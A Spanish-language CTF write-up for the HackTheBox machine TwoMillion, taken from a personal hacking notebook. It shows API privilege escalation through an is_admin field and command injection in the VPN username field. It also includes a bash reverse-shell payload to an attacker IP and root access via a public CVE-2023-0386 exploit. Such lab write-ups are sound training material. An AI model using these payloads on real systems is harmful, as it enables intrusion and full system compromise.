beafn28
  • 👩‍💻¡Bienvenidos a mi HackBook!
  • WRITEUPS
    • DockerLabs
      • BuscaLove
      • Amor
      • Injection
      • BorazuwarahCTF
      • Trust
      • Picadilly
      • Pinguinazo
      • AguaDeMayo
      • BreakMySSH
      • NodeClimb
      • Move
      • Los 40 ladrones
      • Vulnvault
      • Pntopntobarra
      • Library
      • Escolares
      • ConsoleLog
      • Vacaciones
      • Obsession
      • FirstHacking
      • SecretJenkins
      • HedgeHog
      • AnonymousPingu
      • ChocolateLovers
      • Dockerlabs
      • Pressenter
      • Candy
      • JenkHack
      • ShowTime
      • Upload
      • Verdejo
      • WalkingCMS
      • WhereIsMyWebShell
      • Whoiam
      • Winterfell
      • -Pn
      • Psycho
      • Mirame
      • Backend
      • Paradise
      • Balurero
      • Allien
      • Vendetta
      • FindYourStyle
      • Stellarjwt
      • File
      • Redirection (Por completar)
      • Extraviado
      • Patriaquerida
      • Tproot
      • Internship
      • Walking Dead
      • Bicho (Por completar)
      • BaluFood
    • TryHackMe
      • Brooklyn Nine Nine
      • Blue
    • HackTheBox
      • Nibbles
      • Starting Point
        • Meow
        • Fawn
        • Dancing
        • Redeemer
        • Appointment
        • Sequel
        • Crocodile
        • Responder
        • Three
        • Archetype
        • Oopsie
        • Vaccine
        • Unified
        • Explosion
        • Preignition
        • Mongod
        • Synced
        • Ignition
        • Bike
        • Funnel
        • Pennyworth
        • Tactics
        • Included
        • Markup
        • Base
      • BoardLight
      • Cap
      • TwoMillion
      • Lame
      • Legacy
      • Devel
      • Beep
      • Optimum
      • Arctic
      • Jerry
      • Sau
      • GoodGames
      • Challenges
        • Emdee five for life
        • MarketDump
      • Intro to Dante
      • Heist
      • OpenAdmin
      • Nest
      • Curling
    • Vulnhub
      • Wakanda
      • Election (Por terminar)
    • The Hacker Labs
      • Avengers
      • Can you hack me?
      • Fruits
      • Microchoft
      • TickTakRoot
      • Grillo
      • Mortadela
      • Zapas Guapas
      • Sal y Azúcar
      • Cyberpunk
      • Papafrita
      • PizzaHot
      • Decryptor
      • Academy
      • Cocido andaluz
      • Find Me
      • Quokka
      • Campana Feliz
      • Bocata de Calamares
      • Casa Paco
      • Torrijas
    • Vulnyx
      • Fuser
      • Blogguer
      • Lower
      • Exec
      • Diff3r3ntS3c
      • Hacking Station
      • Experience
      • Eternal
      • Agent
      • Infected
      • Admin
      • War
      • Hosting
    • OverTheWire
      • Natas
        • Nivel 0-5
        • Nivel 6-11
        • Nivel 12-17
        • Nivel 18-23
        • Nivel 24-29
        • Nivel 30-34
      • Leviathan
        • Nivel 0-7
      • Krypton
      • Bandit
        • Nivel 0-10
        • Nivel 11-20
        • Nivel 21-30
        • Nivel 31-34
    • Proving Ground Play
      • Monitoring
      • DriftingBlues6
  • APUNTES HACKING
    • Pentesting Basics
      • Web Enumeration
      • Public Exploits
      • Types of Shells
      • Privilege Escalation
      • Transfering Files
    • Network Enumeration with NMAP
      • Host Discovery
      • Host and Port Scanning
      • Saving the Results
      • Service Enumeration
      • Nmap Scripting Engine
      • Performance
      • Firewall and IDS/IPS Evasion
    • Footprinting
      • Domain Information
      • Cloud Resources
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP/POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Information Gathering - Web Edition
      • WHOIS
      • DNS
        • Digging DNS
      • Subdomains
        • Subdomain Bruteforcing
        • DNS Zone Transfers
        • Virtual Hosts
        • Certificate Transparency Logs
      • Fingerprinting
      • Crawling
        • robots.txt
        • Well-Known URIs
        • Creepy Crawlies
      • Search Engine Discovery
      • Web Archives
      • Automating Recon
    • Vulnerability Assessment
      • Vulnerability Assessment
      • Assessment Standards
      • Common Vulnerability Scoring System (CVSS)
      • Common Vulnerabilities and Exposures (CVE)
    • Nessus
      • Getting Started with Nessus
      • Nessus Scan
      • Advanced Settings
      • Working with Nessus Scan Output
      • Scanning Issues
    • OpenVAS
      • OpenVAS Scan
      • Exporting The Results
    • Reporting
    • File Transfers
      • Windows File Transfer Methods
      • Linux File Transfer Methods
      • Transferring Files with Code
      • Miscellaneous File Transfer Methods
      • Protected File Transfers
      • Catching Files over HTTP/S
      • Living off The Land
      • Detection
      • Evading Detection
    • Shells & Payloads
      • Anatomy of a Shell
      • Bind Shells
      • Reverse Shells
      • Payloads
        • Automating Payloads & Delivery with Metasploit
        • Crafting Payloads with MSFvenom
        • Infiltrating Windows
        • Infiltrating Unix/Linux
        • Spawning Interactive Shells
      • Introduction to Web Shells
        • Laudanum, One Webshell to Rule Them All
        • Antak Webshell
        • PHP Web Shells
      • Detection & Prevention
    • Metasploit
      • MSFConsole
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Databases
      • Plugins
      • Sessions
      • Meterpreter
      • Writing and Importing Modules
      • Introduction to MSFVenom
      • Firewall and IDS/IPS Evasion
    • Password Attacks
      • John The Ripper
      • Network Services
      • Password Mutations
      • Password Reuse / Default Passwords
      • Attacking SAM
      • Attacking LSASS
      • Attacking Active Directory & NTDS.dit
      • Credential Hunting in Windows
      • Credential Hunting in Linux
      • Passwd, Shadow & Opasswd
      • Pass the Hash (PtH)
  • WEB SECURITY
    • Path Traversal
    • SQL Injection
    • Control de Acceso
  • Mis CTFs
    • Pequeñas Mentirosas
    • CryptoLabyrinth
    • Elevator
    • Facultad
  • PREPARAR EJPTv2
    • Máquinas
    • Curso de Mario
      • Presentación + Preparación de Laboratorios
      • Conceptos Básicos de Hacking
      • Explotación de Vulnerabilidades y Ataques de Fuerza Bruta
      • Explotación vulnerabilidades Web
      • Enumeración y Explotación del Protócolo SMB, SAMBA, SNMP, IIS y RDP
      • Hacking Entornos CMS
      • Escalada de Privilegios + Post Explotación
      • Pivoting con Metasploit
  • Preparar OSCP
    • Información
    • Máquinas
      • Linux
        • Fácil
        • Medio
        • Difícil
      • Windows
        • Fácil
        • Medio
        • Difícil
  • PREPARAR PT1
    • Organización
Powered by GitBook
On this page
  • 🔍 RECONOCIMIENTO
  • 🔎 EXPLORACIÓN
  • 🚀 EXPLOTACIÓN
  • 🔐 PRIVILEGIOS

Was this helpful?

  1. WRITEUPS
  2. HackTheBox

TwoMillion

✍️ Autor: TRX & TheCyberGeek 🔍 Dificultad: Fácil 📅 Fecha de creación: 7/06/2023

PreviousCapNextLame

Last updated 4 months ago

Was this helpful?

🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

ping -c 1 10.10.11.221

para verificar la conectividad de red.

A continuación, realizamos el comando:

nmap -sC -sV 10.10.11.221

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como podemos observar durante el escaneo que el puerto 22 perteneciente al servicio SSH y el puerto 80 perteneciente al servicio HTTP están abiertos por lo que a continuación se indagará más.

🔎 EXPLORACIÓN

Se utiliza el comando:

sudo nmap -sCV -p22,80 -v 10.10.11.221

para que nos proporcione más información sobre esos puertos específicamente.

Revisamos el puerto 80.

Se asimila a la página oficial de Hack The Box pero no vemos nada interesante por lo que revisamos los directorios.

gobuster dir -u http://2million.htb/ --wordlist /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --exclude-length 162

Nos llama la atención el directorio /invite se asimila a como se tenía que registrar la gente al principio en la plataforma ya que se necesitaba un código de invitación. Tras inspeccionar la página encontramos la función llamada makeInviteCode.

La llamamos.

Como vemos esta encriptada en ROT13 por lo que desencriptamos.

Realizamos lo que nos comunica la pista.

curl -s -X POST "http://2million.htb/api/v1/invite/generate"

Está el código en base64 por lo que decodificamos.

echo "SDg2RjUtUUdRMDUtWEdEMTItU1o3QTg=" | base64 -d

Ponemos el código de invitación.

Nos logueamos con las credenciales registradas.

Vamos al apartado de Access. Miramos los endpoints de la API.

curl -s -X GET "http://2million.htb/api/v1" -v

Nos sale Unauthorized por lo que tenemos que coger la cookie session.

curl -s -X GET "http://2million.htb/api/v1" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" | jq

No somos administradores. Tampoco podemos generar una VPN. Vemos que podemos actualizar datos del usuario así que probamos.

curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json"| jq

Nos avisa del email por lo que añadimos.

curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json" -d '{"email":"bea@gmail.com"}'| jq

Nos dice que falta un parámetro por si es administrador.

curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json" -d '{"email":"bea@gmail.com", "is_admin":1}'| jq

Somos administradores lo que significa que la API está mal configurada. Por si acaso revisamos.

curl -s -X GET "http://2million.htb/api/v1/admin/auth" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" | jq

Intentamos generar una VPN ya que somos admin.

curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" | jq

Matizamos lo que se nos avisa.

curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json"| jq

Ahora nos pide el parámetro username.

curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json" -d '{"username":"beafn28"}'| jq

La respuesta ya no está en JSON por lo que lo quitamos.

🚀 EXPLOTACIÓN

Genera una VPN por el usuario que le diga. Por lo que hacemos lo siguiente.

curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json" -d '{"username":"prueba; whoami;"}'

Somos www-data por lo que tenemos RCE.

curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json" -d '{"username": "prueba; bash -c \"bash -i >& /dev/tcp/10.10.14.58/443 0>&1\";"}'

Nos conectamos.

nc -lnvp 443

Tenemos un fichero .env interesante mostramos su contenido.

Migramos de usuario.

ssh admin@2million.htb

🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

whoami

aún no somos root, por lo que hacemos:

sudo -l

para ver si hay algo para explotar pero nos pide contraseña. Tampoco tenemos permisos SUID.

Nos dice que tenemos un mail.

Al ver la información del sistema en el que nos encontramos encontramos este exploit.

Nos lo descargamos en nuestra máquina víctima tras comprimirlo en nuestra máquina anfitrión.

wget http://10.10.14.58/comprimido.zip

Abrimos otra terminal y nos logueamos a través de ssh y también nos situamos en el directorio /tmp/CVE-2023-0386.

PRIMERA TERMINAL
make all
./fuse ./ovlcap/lower ./gc

SEGUNDA TERMINAL
./exp

Tras realizar esto nos convertimos en root.

https://github.com/sxlmnwb/CVE-2023-0386